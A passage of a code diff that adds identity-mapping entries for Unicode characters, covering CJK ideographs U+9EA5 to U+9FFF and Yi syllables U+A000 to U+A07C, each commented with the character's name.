+ ["\u9EA5", "\u9EA5"], /* CJK Ideograph */
+ ["\u9EA6", "\u9EA6"], /* CJK Ideograph */
+ ["\u9EA7", "\u9EA7"], /* CJK Ideograph */
+ ["\u9EA8", "\u9EA8"], /* CJK Ideograph */
+ ["\u9EA9", "\u9EA9"], /* CJK Ideograph */
+ ["\u9EAA", "\u9EAA"], /* CJK Ideograph */
+ ["\u9EAB", "\u9EAB"], /* CJK Ideograph */
+ ["\u9EAC", "\u9EAC"], /* CJK Ideograph */
+ ["\u9EAD", "\u9EAD"], /* CJK Ideograph */
+ ["\u9EAE", "\u9EAE"], /* CJK Ideograph */
+ ["\u9EAF", "\u9EAF"], /* CJK Ideograph */
+ ["\u9EB0", "\u9EB0"], /* CJK Ideograph */
+ ["\u9EB1", "\u9EB1"], /* CJK Ideograph */
+ ["\u9EB2", "\u9EB2"], /* CJK Ideograph */
+ ["\u9EB3", "\u9EB3"], /* CJK Ideograph */
+ ["\u9EB4", "\u9EB4"], /* CJK Ideograph */
+ ["\u9EB5", "\u9EB5"], /* CJK Ideograph */
+ ["\u9EB6", "\u9EB6"], /* CJK Ideograph */
+ ["\u9EB7", "\u9EB7"], /* CJK Ideograph */
+ ["\u9EB8", "\u9EB8"], /* CJK Ideograph */
+ ["\u9EB9", "\u9EB9"], /* CJK Ideograph */
+ ["\u9EBA", "\u9EBA"], /* CJK Ideograph */
+ ["\u9EBB", "\u9EBB"], /* CJK Ideograph */
+ ["\u9EBC", "\u9EBC"], /* CJK Ideograph */
+ ["\u9EBD", "\u9EBD"], /* CJK Ideograph */
+ ["\u9EBE", "\u9EBE"], /* CJK Ideograph */
+ ["\u9EBF", "\u9EBF"], /* CJK Ideograph */
+ ["\u9EC0", "\u9EC0"], /* CJK Ideograph */
+ ["\u9EC1", "\u9EC1"], /* CJK Ideograph */
+ ["\u9EC2", "\u9EC2"], /* CJK Ideograph */
+ ["\u9EC3", "\u9EC3"], /* CJK Ideograph */
+ ["\u9EC4", "\u9EC4"], /* CJK Ideograph */
+ ["\u9EC5", "\u9EC5"], /* CJK Ideograph */
+ ["\u9EC6", "\u9EC6"], /* CJK Ideograph */
+ ["\u9EC7", "\u9EC7"], /* CJK Ideograph */
+ ["\u9EC8", "\u9EC8"], /* CJK Ideograph */
+ ["\u9EC9", "\u9EC9"], /* CJK Ideograph */
+ ["\u9ECA", "\u9ECA"], /* CJK Ideograph */
+ ["\u9ECB", "\u9ECB"], /* CJK Ideograph */
+ ["\u9ECC", "\u9ECC"], /* CJK Ideograph */
+ ["\u9ECD", "\u9ECD"], /* CJK Ideograph */
+ ["\u9ECE", "\u9ECE"], /* CJK Ideograph */
+ ["\u9ECF", "\u9ECF"], /* CJK Ideograph */
+ ["\u9ED0", "\u9ED0"], /* CJK Ideograph */
+ ["\u9ED1", "\u9ED1"], /* CJK Ideograph */
+ ["\u9ED2", "\u9ED2"], /* CJK Ideograph */
+ ["\u9ED3", "\u9ED3"], /* CJK Ideograph */
+ ["\u9ED4", "\u9ED4"], /* CJK Ideograph */
+ ["\u9ED5", "\u9ED5"], /* CJK Ideograph */
+ ["\u9ED6", "\u9ED6"], /* CJK Ideograph */
+ ["\u9ED7", "\u9ED7"], /* CJK Ideograph */
+ ["\u9ED8", "\u9ED8"], /* CJK Ideograph */
+ ["\u9ED9", "\u9ED9"], /* CJK Ideograph */
+ ["\u9EDA", "\u9EDA"], /* CJK Ideograph */
+ ["\u9EDB", "\u9EDB"], /* CJK Ideograph */
+ ["\u9EDC", "\u9EDC"], /* CJK Ideograph */
+ ["\u9EDD", "\u9EDD"], /* CJK Ideograph */
+ ["\u9EDE", "\u9EDE"], /* CJK Ideograph */
+ ["\u9EDF", "\u9EDF"], /* CJK Ideograph */
+ ["\u9EE0", "\u9EE0"], /* CJK Ideograph */
+ ["\u9EE1", "\u9EE1"], /* CJK Ideograph */
+ ["\u9EE2", "\u9EE2"], /* CJK Ideograph */
+ ["\u9EE3", "\u9EE3"], /* CJK Ideograph */
+ ["\u9EE4", "\u9EE4"], /* CJK Ideograph */
+ ["\u9EE5", "\u9EE5"], /* CJK Ideograph */
+ ["\u9EE6", "\u9EE6"], /* CJK Ideograph */
+ ["\u9EE7", "\u9EE7"], /* CJK Ideograph */
+ ["\u9EE8", "\u9EE8"], /* CJK Ideograph */
+ ["\u9EE9", "\u9EE9"], /* CJK Ideograph */
+ ["\u9EEA", "\u9EEA"], /* CJK Ideograph */
+ ["\u9EEB", "\u9EEB"], /* CJK Ideograph */
+ ["\u9EEC", "\u9EEC"], /* CJK Ideograph */
+ ["\u9EED", "\u9EED"], /* CJK Ideograph */
+ ["\u9EEE", "\u9EEE"], /* CJK Ideograph */
+ ["\u9EEF", "\u9EEF"], /* CJK Ideograph */
+ ["\u9EF0", "\u9EF0"], /* CJK Ideograph */
+ ["\u9EF1", "\u9EF1"], /* CJK Ideograph */
+ ["\u9EF2", "\u9EF2"], /* CJK Ideograph */
+ ["\u9EF3", "\u9EF3"], /* CJK Ideograph */
+ ["\u9EF4", "\u9EF4"], /* CJK Ideograph */
+ ["\u9EF5", "\u9EF5"], /* CJK Ideograph */
+ ["\u9EF6", "\u9EF6"], /* CJK Ideograph */
+ ["\u9EF7", "\u9EF7"], /* CJK Ideograph */
+ ["\u9EF8", "\u9EF8"], /* CJK Ideograph */
+ ["\u9EF9", "\u9EF9"], /* CJK Ideograph */
+ ["\u9EFA", "\u9EFA"], /* CJK Ideograph */
+ ["\u9EFB", "\u9EFB"], /* CJK Ideograph */
+ ["\u9EFC", "\u9EFC"], /* CJK Ideograph */
+ ["\u9EFD", "\u9EFD"], /* CJK Ideograph */
+ ["\u9EFE", "\u9EFE"], /* CJK Ideograph */
+ ["\u9EFF", "\u9EFF"], /* CJK Ideograph */
+ ["\u9F00", "\u9F00"], /* CJK Ideograph */
+ ["\u9F01", "\u9F01"], /* CJK Ideograph */
+ ["\u9F02", "\u9F02"], /* CJK Ideograph */
+ ["\u9F03", "\u9F03"], /* CJK Ideograph */
+ ["\u9F04", "\u9F04"], /* CJK Ideograph */
+ ["\u9F05", "\u9F05"], /* CJK Ideograph */
+ ["\u9F06", "\u9F06"], /* CJK Ideograph */
+ ["\u9F07", "\u9F07"], /* CJK Ideograph */
+ ["\u9F08", "\u9F08"], /* CJK Ideograph */
+ ["\u9F09", "\u9F09"], /* CJK Ideograph */
+ ["\u9F0A", "\u9F0A"], /* CJK Ideograph */
+ ["\u9F0B", "\u9F0B"], /* CJK Ideograph */
+ ["\u9F0C", "\u9F0C"], /* CJK Ideograph */
+ ["\u9F0D", "\u9F0D"], /* CJK Ideograph */
+ ["\u9F0E", "\u9F0E"], /* CJK Ideograph */
+ ["\u9F0F", "\u9F0F"], /* CJK Ideograph */
+ ["\u9F10", "\u9F10"], /* CJK Ideograph */
+ ["\u9F11", "\u9F11"], /* CJK Ideograph */
+ ["\u9F12", "\u9F12"], /* CJK Ideograph */
+ ["\u9F13", "\u9F13"], /* CJK Ideograph */
+ ["\u9F14", "\u9F14"], /* CJK Ideograph */
+ ["\u9F15", "\u9F15"], /* CJK Ideograph */
+ ["\u9F16", "\u9F16"], /* CJK Ideograph */
+ ["\u9F17", "\u9F17"], /* CJK Ideograph */
+ ["\u9F18", "\u9F18"], /* CJK Ideograph */
+ ["\u9F19", "\u9F19"], /* CJK Ideograph */
+ ["\u9F1A", "\u9F1A"], /* CJK Ideograph */
+ ["\u9F1B", "\u9F1B"], /* CJK Ideograph */
+ ["\u9F1C", "\u9F1C"], /* CJK Ideograph */
+ ["\u9F1D", "\u9F1D"], /* CJK Ideograph */
+ ["\u9F1E", "\u9F1E"], /* CJK Ideograph */
+ ["\u9F1F", "\u9F1F"], /* CJK Ideograph */
+ ["\u9F20", "\u9F20"], /* CJK Ideograph */
+ ["\u9F21", "\u9F21"], /* CJK Ideograph */
+ ["\u9F22", "\u9F22"], /* CJK Ideograph */
+ ["\u9F23", "\u9F23"], /* CJK Ideograph */
+ ["\u9F24", "\u9F24"], /* CJK Ideograph */
+ ["\u9F25", "\u9F25"], /* CJK Ideograph */
+ ["\u9F26", "\u9F26"], /* CJK Ideograph */
+ ["\u9F27", "\u9F27"], /* CJK Ideograph */
+ ["\u9F28", "\u9F28"], /* CJK Ideograph */
+ ["\u9F29", "\u9F29"], /* CJK Ideograph */
+ ["\u9F2A", "\u9F2A"], /* CJK Ideograph */
+ ["\u9F2B", "\u9F2B"], /* CJK Ideograph */
+ ["\u9F2C", "\u9F2C"], /* CJK Ideograph */
+ ["\u9F2D", "\u9F2D"], /* CJK Ideograph */
+ ["\u9F2E", "\u9F2E"], /* CJK Ideograph */
+ ["\u9F2F", "\u9F2F"], /* CJK Ideograph */
+ ["\u9F30", "\u9F30"], /* CJK Ideograph */
+ ["\u9F31", "\u9F31"], /* CJK Ideograph */
+ ["\u9F32", "\u9F32"], /* CJK Ideograph */
+ ["\u9F33", "\u9F33"], /* CJK Ideograph */
+ ["\u9F34", "\u9F34"], /* CJK Ideograph */
+ ["\u9F35", "\u9F35"], /* CJK Ideograph */
+ ["\u9F36", "\u9F36"], /* CJK Ideograph */
+ ["\u9F37", "\u9F37"], /* CJK Ideograph */
+ ["\u9F38", "\u9F38"], /* CJK Ideograph */
+ ["\u9F39", "\u9F39"], /* CJK Ideograph */
+ ["\u9F3A", "\u9F3A"], /* CJK Ideograph */
+ ["\u9F3B", "\u9F3B"], /* CJK Ideograph */
+ ["\u9F3C", "\u9F3C"], /* CJK Ideograph */
+ ["\u9F3D", "\u9F3D"], /* CJK Ideograph */
+ ["\u9F3E", "\u9F3E"], /* CJK Ideograph */
+ ["\u9F3F", "\u9F3F"], /* CJK Ideograph */
+ ["\u9F40", "\u9F40"], /* CJK Ideograph */
+ ["\u9F41", "\u9F41"], /* CJK Ideograph */
+ ["\u9F42", "\u9F42"], /* CJK Ideograph */
+ ["\u9F43", "\u9F43"], /* CJK Ideograph */
+ ["\u9F44", "\u9F44"], /* CJK Ideograph */
+ ["\u9F45", "\u9F45"], /* CJK Ideograph */
+ ["\u9F46", "\u9F46"], /* CJK Ideograph */
+ ["\u9F47", "\u9F47"], /* CJK Ideograph */
+ ["\u9F48", "\u9F48"], /* CJK Ideograph */
+ ["\u9F49", "\u9F49"], /* CJK Ideograph */
+ ["\u9F4A", "\u9F4A"], /* CJK Ideograph */
+ ["\u9F4B", "\u9F4B"], /* CJK Ideograph */
+ ["\u9F4C", "\u9F4C"], /* CJK Ideograph */
+ ["\u9F4D", "\u9F4D"], /* CJK Ideograph */
+ ["\u9F4E", "\u9F4E"], /* CJK Ideograph */
+ ["\u9F4F", "\u9F4F"], /* CJK Ideograph */
+ ["\u9F50", "\u9F50"], /* CJK Ideograph */
+ ["\u9F51", "\u9F51"], /* CJK Ideograph */
+ ["\u9F52", "\u9F52"], /* CJK Ideograph */
+ ["\u9F53", "\u9F53"], /* CJK Ideograph */
+ ["\u9F54", "\u9F54"], /* CJK Ideograph */
+ ["\u9F55", "\u9F55"], /* CJK Ideograph */
+ ["\u9F56", "\u9F56"], /* CJK Ideograph */
+ ["\u9F57", "\u9F57"], /* CJK Ideograph */
+ ["\u9F58", "\u9F58"], /* CJK Ideograph */
+ ["\u9F59", "\u9F59"], /* CJK Ideograph */
+ ["\u9F5A", "\u9F5A"], /* CJK Ideograph */
+ ["\u9F5B", "\u9F5B"], /* CJK Ideograph */
+ ["\u9F5C", "\u9F5C"], /* CJK Ideograph */
+ ["\u9F5D", "\u9F5D"], /* CJK Ideograph */
+ ["\u9F5E", "\u9F5E"], /* CJK Ideograph */
+ ["\u9F5F", "\u9F5F"], /* CJK Ideograph */
+ ["\u9F60", "\u9F60"], /* CJK Ideograph */
+ ["\u9F61", "\u9F61"], /* CJK Ideograph */
+ ["\u9F62", "\u9F62"], /* CJK Ideograph */
+ ["\u9F63", "\u9F63"], /* CJK Ideograph */
+ ["\u9F64", "\u9F64"], /* CJK Ideograph */
+ ["\u9F65", "\u9F65"], /* CJK Ideograph */
+ ["\u9F66", "\u9F66"], /* CJK Ideograph */
+ ["\u9F67", "\u9F67"], /* CJK Ideograph */
+ ["\u9F68", "\u9F68"], /* CJK Ideograph */
+ ["\u9F69", "\u9F69"], /* CJK Ideograph */
+ ["\u9F6A", "\u9F6A"], /* CJK Ideograph */
+ ["\u9F6B", "\u9F6B"], /* CJK Ideograph */
+ ["\u9F6C", "\u9F6C"], /* CJK Ideograph */
+ ["\u9F6D", "\u9F6D"], /* CJK Ideograph */
+ ["\u9F6E", "\u9F6E"], /* CJK Ideograph */
+ ["\u9F6F", "\u9F6F"], /* CJK Ideograph */
+ ["\u9F70", "\u9F70"], /* CJK Ideograph */
+ ["\u9F71", "\u9F71"], /* CJK Ideograph */
+ ["\u9F72", "\u9F72"], /* CJK Ideograph */
+ ["\u9F73", "\u9F73"], /* CJK Ideograph */
+ ["\u9F74", "\u9F74"], /* CJK Ideograph */
+ ["\u9F75", "\u9F75"], /* CJK Ideograph */
+ ["\u9F76", "\u9F76"], /* CJK Ideograph */
+ ["\u9F77", "\u9F77"], /* CJK Ideograph */
+ ["\u9F78", "\u9F78"], /* CJK Ideograph */
+ ["\u9F79", "\u9F79"], /* CJK Ideograph */
+ ["\u9F7A", "\u9F7A"], /* CJK Ideograph */
+ ["\u9F7B", "\u9F7B"], /* CJK Ideograph */
+ ["\u9F7C", "\u9F7C"], /* CJK Ideograph */
+ ["\u9F7D", "\u9F7D"], /* CJK Ideograph */
+ ["\u9F7E", "\u9F7E"], /* CJK Ideograph */
+ ["\u9F7F", "\u9F7F"], /* CJK Ideograph */
+ ["\u9F80", "\u9F80"], /* CJK Ideograph */
+ ["\u9F81", "\u9F81"], /* CJK Ideograph */
+ ["\u9F82", "\u9F82"], /* CJK Ideograph */
+ ["\u9F83", "\u9F83"], /* CJK Ideograph */
+ ["\u9F84", "\u9F84"], /* CJK Ideograph */
+ ["\u9F85", "\u9F85"], /* CJK Ideograph */
+ ["\u9F86", "\u9F86"], /* CJK Ideograph */
+ ["\u9F87", "\u9F87"], /* CJK Ideograph */
+ ["\u9F88", "\u9F88"], /* CJK Ideograph */
+ ["\u9F89", "\u9F89"], /* CJK Ideograph */
+ ["\u9F8A", "\u9F8A"], /* CJK Ideograph */
+ ["\u9F8B", "\u9F8B"], /* CJK Ideograph */
+ ["\u9F8C", "\u9F8C"], /* CJK Ideograph */
+ ["\u9F8D", "\u9F8D"], /* CJK Ideograph */
+ ["\u9F8E", "\u9F8E"], /* CJK Ideograph */
+ ["\u9F8F", "\u9F8F"], /* CJK Ideograph */
+ ["\u9F90", "\u9F90"], /* CJK Ideograph */
+ ["\u9F91", "\u9F91"], /* CJK Ideograph */
+ ["\u9F92", "\u9F92"], /* CJK Ideograph */
+ ["\u9F93", "\u9F93"], /* CJK Ideograph */
+ ["\u9F94", "\u9F94"], /* CJK Ideograph */
+ ["\u9F95", "\u9F95"], /* CJK Ideograph */
+ ["\u9F96", "\u9F96"], /* CJK Ideograph */
+ ["\u9F97", "\u9F97"], /* CJK Ideograph */
+ ["\u9F98", "\u9F98"], /* CJK Ideograph */
+ ["\u9F99", "\u9F99"], /* CJK Ideograph */
+ ["\u9F9A", "\u9F9A"], /* CJK Ideograph */
+ ["\u9F9B", "\u9F9B"], /* CJK Ideograph */
+ ["\u9F9C", "\u9F9C"], /* CJK Ideograph */
+ ["\u9F9D", "\u9F9D"], /* CJK Ideograph */
+ ["\u9F9E", "\u9F9E"], /* CJK Ideograph */
+ ["\u9F9F", "\u9F9F"], /* CJK Ideograph */
+ ["\u9FA0", "\u9FA0"], /* CJK Ideograph */
+ ["\u9FA1", "\u9FA1"], /* CJK Ideograph */
+ ["\u9FA2", "\u9FA2"], /* CJK Ideograph */
+ ["\u9FA3", "\u9FA3"], /* CJK Ideograph */
+ ["\u9FA4", "\u9FA4"], /* CJK Ideograph */
+ ["\u9FA5", "\u9FA5"], /* CJK Ideograph */
+ ["\u9FA6", "\u9FA6"], /* CJK Ideograph */
+ ["\u9FA7", "\u9FA7"], /* CJK Ideograph */
+ ["\u9FA8", "\u9FA8"], /* CJK Ideograph */
+ ["\u9FA9", "\u9FA9"], /* CJK Ideograph */
+ ["\u9FAA", "\u9FAA"], /* CJK Ideograph */
+ ["\u9FAB", "\u9FAB"], /* CJK Ideograph */
+ ["\u9FAC", "\u9FAC"], /* CJK Ideograph */
+ ["\u9FAD", "\u9FAD"], /* CJK Ideograph */
+ ["\u9FAE", "\u9FAE"], /* CJK Ideograph */
+ ["\u9FAF", "\u9FAF"], /* CJK Ideograph */
+ ["\u9FB0", "\u9FB0"], /* CJK Ideograph */
+ ["\u9FB1", "\u9FB1"], /* CJK Ideograph */
+ ["\u9FB2", "\u9FB2"], /* CJK Ideograph */
+ ["\u9FB3", "\u9FB3"], /* CJK Ideograph */
+ ["\u9FB4", "\u9FB4"], /* CJK Ideograph */
+ ["\u9FB5", "\u9FB5"], /* CJK Ideograph */
+ ["\u9FB6", "\u9FB6"], /* CJK Ideograph */
+ ["\u9FB7", "\u9FB7"], /* CJK Ideograph */
+ ["\u9FB8", "\u9FB8"], /* CJK Ideograph */
+ ["\u9FB9", "\u9FB9"], /* CJK Ideograph */
+ ["\u9FBA", "\u9FBA"], /* CJK Ideograph */
+ ["\u9FBB", "\u9FBB"], /* CJK Ideograph */
+ ["\u9FBC", "\u9FBC"], /* CJK Ideograph */
+ ["\u9FBD", "\u9FBD"], /* CJK Ideograph */
+ ["\u9FBE", "\u9FBE"], /* CJK Ideograph */
+ ["\u9FBF", "\u9FBF"], /* CJK Ideograph */
+ ["\u9FC0", "\u9FC0"], /* CJK Ideograph */
+ ["\u9FC1", "\u9FC1"], /* CJK Ideograph */
+ ["\u9FC2", "\u9FC2"], /* CJK Ideograph */
+ ["\u9FC3", "\u9FC3"], /* CJK Ideograph */
+ ["\u9FC4", "\u9FC4"], /* CJK Ideograph */
+ ["\u9FC5", "\u9FC5"], /* CJK Ideograph */
+ ["\u9FC6", "\u9FC6"], /* CJK Ideograph */
+ ["\u9FC7", "\u9FC7"], /* CJK Ideograph */
+ ["\u9FC8", "\u9FC8"], /* CJK Ideograph */
+ ["\u9FC9", "\u9FC9"], /* CJK Ideograph */
+ ["\u9FCA", "\u9FCA"], /* CJK Ideograph */
+ ["\u9FCB", "\u9FCB"], /* CJK Ideograph */
+ ["\u9FCC", "\u9FCC"], /* CJK Ideograph */
+ ["\u9FCD", "\u9FCD"], /* CJK Ideograph */
+ ["\u9FCE", "\u9FCE"], /* CJK Ideograph */
+ ["\u9FCF", "\u9FCF"], /* CJK Ideograph */
+ ["\u9FD0", "\u9FD0"], /* CJK Ideograph */
+ ["\u9FD1", "\u9FD1"], /* CJK Ideograph */
+ ["\u9FD2", "\u9FD2"], /* CJK Ideograph */
+ ["\u9FD3", "\u9FD3"], /* CJK Ideograph */
+ ["\u9FD4", "\u9FD4"], /* CJK Ideograph */
+ ["\u9FD5", "\u9FD5"], /* CJK Ideograph */
+ ["\u9FD6", "\u9FD6"], /* CJK Ideograph */
+ ["\u9FD7", "\u9FD7"], /* CJK Ideograph */
+ ["\u9FD8", "\u9FD8"], /* CJK Ideograph */
+ ["\u9FD9", "\u9FD9"], /* CJK Ideograph */
+ ["\u9FDA", "\u9FDA"], /* CJK Ideograph */
+ ["\u9FDB", "\u9FDB"], /* CJK Ideograph */
+ ["\u9FDC", "\u9FDC"], /* CJK Ideograph */
+ ["\u9FDD", "\u9FDD"], /* CJK Ideograph */
+ ["\u9FDE", "\u9FDE"], /* CJK Ideograph */
+ ["\u9FDF", "\u9FDF"], /* CJK Ideograph */
+ ["\u9FE0", "\u9FE0"], /* CJK Ideograph */
+ ["\u9FE1", "\u9FE1"], /* CJK Ideograph */
+ ["\u9FE2", "\u9FE2"], /* CJK Ideograph */
+ ["\u9FE3", "\u9FE3"], /* CJK Ideograph */
+ ["\u9FE4", "\u9FE4"], /* CJK Ideograph */
+ ["\u9FE5", "\u9FE5"], /* CJK Ideograph */
+ ["\u9FE6", "\u9FE6"], /* CJK Ideograph */
+ ["\u9FE7", "\u9FE7"], /* CJK Ideograph */
+ ["\u9FE8", "\u9FE8"], /* CJK Ideograph */
+ ["\u9FE9", "\u9FE9"], /* CJK Ideograph */
+ ["\u9FEA", "\u9FEA"], /* CJK Ideograph */
+ ["\u9FEB", "\u9FEB"], /* CJK Ideograph */
+ ["\u9FEC", "\u9FEC"], /* CJK Ideograph */
+ ["\u9FED", "\u9FED"], /* CJK Ideograph */
+ ["\u9FEE", "\u9FEE"], /* CJK Ideograph */
+ ["\u9FEF", "\u9FEF"], /* CJK Ideograph */
+ ["\u9FF0", "\u9FF0"], /* CJK Ideograph */
+ ["\u9FF1", "\u9FF1"], /* CJK Ideograph */
+ ["\u9FF2", "\u9FF2"], /* CJK Ideograph */
+ ["\u9FF3", "\u9FF3"], /* CJK Ideograph */
+ ["\u9FF4", "\u9FF4"], /* CJK Ideograph */
+ ["\u9FF5", "\u9FF5"], /* CJK Ideograph */
+ ["\u9FF6", "\u9FF6"], /* CJK Ideograph */
+ ["\u9FF7", "\u9FF7"], /* CJK Ideograph */
+ ["\u9FF8", "\u9FF8"], /* CJK Ideograph */
+ ["\u9FF9", "\u9FF9"], /* CJK Ideograph */
+ ["\u9FFA", "\u9FFA"], /* CJK Ideograph */
+ ["\u9FFB", "\u9FFB"], /* CJK Ideograph */
+ ["\u9FFC", "\u9FFC"], /* CJK Ideograph */
+ ["\u9FFD", "\u9FFD"],
+ ["\u9FFE", "\u9FFE"],
+ ["\u9FFF", "\u9FFF"],
+ ["\uA000", "\uA000"], /* YI SYLLABLE IT */
+ ["\uA001", "\uA001"], /* YI SYLLABLE IX */
+ ["\uA002", "\uA002"], /* YI SYLLABLE I */
+ ["\uA003", "\uA003"], /* YI SYLLABLE IP */
+ ["\uA004", "\uA004"], /* YI SYLLABLE IET */
+ ["\uA005", "\uA005"], /* YI SYLLABLE IEX */
+ ["\uA006", "\uA006"], /* YI SYLLABLE IE */
+ ["\uA007", "\uA007"], /* YI SYLLABLE IEP */
+ ["\uA008", "\uA008"], /* YI SYLLABLE AT */
+ ["\uA009", "\uA009"], /* YI SYLLABLE AX */
+ ["\uA00A", "\uA00A"], /* YI SYLLABLE A */
+ ["\uA00B", "\uA00B"], /* YI SYLLABLE AP */
+ ["\uA00C", "\uA00C"], /* YI SYLLABLE UOX */
+ ["\uA00D", "\uA00D"], /* YI SYLLABLE UO */
+ ["\uA00E", "\uA00E"], /* YI SYLLABLE UOP */
+ ["\uA00F", "\uA00F"], /* YI SYLLABLE OT */
+ ["\uA010", "\uA010"], /* YI SYLLABLE OX */
+ ["\uA011", "\uA011"], /* YI SYLLABLE O */
+ ["\uA012", "\uA012"], /* YI SYLLABLE OP */
+ ["\uA013", "\uA013"], /* YI SYLLABLE EX */
+ ["\uA014", "\uA014"], /* YI SYLLABLE E */
+ ["\uA015", "\uA015"], /* YI SYLLABLE WU */
+ ["\uA016", "\uA016"], /* YI SYLLABLE BIT */
+ ["\uA017", "\uA017"], /* YI SYLLABLE BIX */
+ ["\uA018", "\uA018"], /* YI SYLLABLE BI */
+ ["\uA019", "\uA019"], /* YI SYLLABLE BIP */
+ ["\uA01A", "\uA01A"], /* YI SYLLABLE BIET */
+ ["\uA01B", "\uA01B"], /* YI SYLLABLE BIEX */
+ ["\uA01C", "\uA01C"], /* YI SYLLABLE BIE */
+ ["\uA01D", "\uA01D"], /* YI SYLLABLE BIEP */
+ ["\uA01E", "\uA01E"], /* YI SYLLABLE BAT */
+ ["\uA01F", "\uA01F"], /* YI SYLLABLE BAX */
+ ["\uA020", "\uA020"], /* YI SYLLABLE BA */
+ ["\uA021", "\uA021"], /* YI SYLLABLE BAP */
+ ["\uA022", "\uA022"], /* YI SYLLABLE BUOX */
+ ["\uA023", "\uA023"], /* YI SYLLABLE BUO */
+ ["\uA024", "\uA024"], /* YI SYLLABLE BUOP */
+ ["\uA025", "\uA025"], /* YI SYLLABLE BOT */
+ ["\uA026", "\uA026"], /* YI SYLLABLE BOX */
+ ["\uA027", "\uA027"], /* YI SYLLABLE BO */
+ ["\uA028", "\uA028"], /* YI SYLLABLE BOP */
+ ["\uA029", "\uA029"], /* YI SYLLABLE BEX */
+ ["\uA02A", "\uA02A"], /* YI SYLLABLE BE */
+ ["\uA02B", "\uA02B"], /* YI SYLLABLE BEP */
+ ["\uA02C", "\uA02C"], /* YI SYLLABLE BUT */
+ ["\uA02D", "\uA02D"], /* YI SYLLABLE BUX */
+ ["\uA02E", "\uA02E"], /* YI SYLLABLE BU */
+ ["\uA02F", "\uA02F"], /* YI SYLLABLE BUP */
+ ["\uA030", "\uA030"], /* YI SYLLABLE BURX */
+ ["\uA031", "\uA031"], /* YI SYLLABLE BUR */
+ ["\uA032", "\uA032"], /* YI SYLLABLE BYT */
+ ["\uA033", "\uA033"], /* YI SYLLABLE BYX */
+ ["\uA034", "\uA034"], /* YI SYLLABLE BY */
+ ["\uA035", "\uA035"], /* YI SYLLABLE BYP */
+ ["\uA036", "\uA036"], /* YI SYLLABLE BYRX */
+ ["\uA037", "\uA037"], /* YI SYLLABLE BYR */
+ ["\uA038", "\uA038"], /* YI SYLLABLE PIT */
+ ["\uA039", "\uA039"], /* YI SYLLABLE PIX */
+ ["\uA03A", "\uA03A"], /* YI SYLLABLE PI */
+ ["\uA03B", "\uA03B"], /* YI SYLLABLE PIP */
+ ["\uA03C", "\uA03C"], /* YI SYLLABLE PIEX */
+ ["\uA03D", "\uA03D"], /* YI SYLLABLE PIE */
+ ["\uA03E", "\uA03E"], /* YI SYLLABLE PIEP */
+ ["\uA03F", "\uA03F"], /* YI SYLLABLE PAT */
+ ["\uA040", "\uA040"], /* YI SYLLABLE PAX */
+ ["\uA041", "\uA041"], /* YI SYLLABLE PA */
+ ["\uA042", "\uA042"], /* YI SYLLABLE PAP */
+ ["\uA043", "\uA043"], /* YI SYLLABLE PUOX */
+ ["\uA044", "\uA044"], /* YI SYLLABLE PUO */
+ ["\uA045", "\uA045"], /* YI SYLLABLE PUOP */
+ ["\uA046", "\uA046"], /* YI SYLLABLE POT */
+ ["\uA047", "\uA047"], /* YI SYLLABLE POX */
+ ["\uA048", "\uA048"], /* YI SYLLABLE PO */
+ ["\uA049", "\uA049"], /* YI SYLLABLE POP */
+ ["\uA04A", "\uA04A"], /* YI SYLLABLE PUT */
+ ["\uA04B", "\uA04B"], /* YI SYLLABLE PUX */
+ ["\uA04C", "\uA04C"], /* YI SYLLABLE PU */
+ ["\uA04D", "\uA04D"], /* YI SYLLABLE PUP */
+ ["\uA04E", "\uA04E"], /* YI SYLLABLE PURX */
+ ["\uA04F", "\uA04F"], /* YI SYLLABLE PUR */
+ ["\uA050", "\uA050"], /* YI SYLLABLE PYT */
+ ["\uA051", "\uA051"], /* YI SYLLABLE PYX */
+ ["\uA052", "\uA052"], /* YI SYLLABLE PY */
+ ["\uA053", "\uA053"], /* YI SYLLABLE PYP */
+ ["\uA054", "\uA054"], /* YI SYLLABLE PYRX */
+ ["\uA055", "\uA055"], /* YI SYLLABLE PYR */
+ ["\uA056", "\uA056"], /* YI SYLLABLE BBIT */
+ ["\uA057", "\uA057"], /* YI SYLLABLE BBIX */
+ ["\uA058", "\uA058"], /* YI SYLLABLE BBI */
+ ["\uA059", "\uA059"], /* YI SYLLABLE BBIP */
+ ["\uA05A", "\uA05A"], /* YI SYLLABLE BBIET */
+ ["\uA05B", "\uA05B"], /* YI SYLLABLE BBIEX */
+ ["\uA05C", "\uA05C"], /* YI SYLLABLE BBIE */
+ ["\uA05D", "\uA05D"], /* YI SYLLABLE BBIEP */
+ ["\uA05E", "\uA05E"], /* YI SYLLABLE BBAT */
+ ["\uA05F", "\uA05F"], /* YI SYLLABLE BBAX */
+ ["\uA060", "\uA060"], /* YI SYLLABLE BBA */
+ ["\uA061", "\uA061"], /* YI SYLLABLE BBAP */
+ ["\uA062", "\uA062"], /* YI SYLLABLE BBUOX */
+ ["\uA063", "\uA063"], /* YI SYLLABLE BBUO */
+ ["\uA064", "\uA064"], /* YI SYLLABLE BBUOP */
+ ["\uA065", "\uA065"], /* YI SYLLABLE BBOT */
+ ["\uA066", "\uA066"], /* YI SYLLABLE BBOX */
+ ["\uA067", "\uA067"], /* YI SYLLABLE BBO */
+ ["\uA068", "\uA068"], /* YI SYLLABLE BBOP */
+ ["\uA069", "\uA069"], /* YI SYLLABLE BBEX */
+ ["\uA06A", "\uA06A"], /* YI SYLLABLE BBE */
+ ["\uA06B", "\uA06B"], /* YI SYLLABLE BBEP */
+ ["\uA06C", "\uA06C"], /* YI SYLLABLE BBUT */
+ ["\uA06D", "\uA06D"], /* YI SYLLABLE BBUX */
+ ["\uA06E", "\uA06E"], /* YI SYLLABLE BBU */
+ ["\uA06F", "\uA06F"], /* YI SYLLABLE BBUP */
+ ["\uA070", "\uA070"], /* YI SYLLABLE BBURX */
+ ["\uA071", "\uA071"], /* YI SYLLABLE BBUR */
+ ["\uA072", "\uA072"], /* YI SYLLABLE BBYT */
+ ["\uA073", "\uA073"], /* YI SYLLABLE BBYX */
+ ["\uA074", "\uA074"], /* YI SYLLABLE BBY */
+ ["\uA075", "\uA075"], /* YI SYLLABLE BBYP */
+ ["\uA076", "\uA076"], /* YI SYLLABLE NBIT */
+ ["\uA077", "\uA077"], /* YI SYLLABLE NBIX */
+ ["\uA078", "\uA078"], /* YI SYLLABLE NBI */
+ ["\uA079", "\uA079"], /* YI SYLLABLE NBIP */
+ ["\uA07A", "\uA07A"], /* YI SYLLABLE NBIEX */
+ ["\uA07B", "\uA07B"], /* YI SYLLABLE NBIE */
+ ["\uA07C", "\uA07C"], /* YI SYLLABLE NBIEP */
